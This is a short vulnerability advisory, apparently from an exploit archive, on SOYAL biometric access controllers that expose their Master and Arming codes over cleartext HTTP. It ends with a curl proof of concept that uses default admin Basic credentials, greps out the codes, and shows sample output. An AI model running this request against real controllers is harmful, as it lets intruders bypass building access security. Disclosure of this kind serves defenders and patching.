SOYAL Biometric Access Control System 5.0 - Master Code Disclosure









# Exploit Title: SOYAL Biometric Access Control System 5.0 - Master Code Disclosure
# Date: 25.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage:

Vendor: SOYAL Technology Co., Ltd
Product web page: |
Affected version: AR-727 i/CM - F/W: 5.0 
                  AR837E/EF   - F/W: 4.3
                  AR725Ev2    - F/W: 4.3 191231
                  AR331/725E  - F/W: 4.2
                  AR837E/EF   - F/W: 4.1
                  AR-727CM /i - F/W: 4.09
                  AR-727CM /i - F/W: 4.06
                  AR-837E     - F/W: 3.03

Summary: Soyal Access systems are built into Raytel Door Entry Systems
and are providing access and lift control to many buildings from public
and private apartment blocks to prestigious public buildings.

Desc: The controller suffers from a cleartext transmission of sensitive
information. This allows interception of the HTTP traffic and disclose
the Master code and the Arming code via a man-in-the-middle attack. An
attacker can obtain these codes to enter into the controller's Programming
mode and bypass physical security controls in place.

Tested on: SOYAL Technology WebServer 2.0
           SOYAL Serial Device Server 4.03A 
           SOYAL Serial Device Server 4.01n
           SOYAL Serial Device Server 3.07n

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2021-5630
Advisory URL:



$ curl '' \
       -H 'Authorization: Basic YWRtaW46' | \
       grep -ni -B1 'masterCode\|armCode'

<td><font face="Arial,Helvetica">Master Code (6 Digital) </font></td>
<td colspan="2"><input type=text name="masterCode" size=6 maxlength=6 value=123456></td></tr>
  <td>Arming Code (4 Digital) </td>
<td colspan="2"><input type=text name="armCode" size=4 maxlength=4 value=1234></td></tr>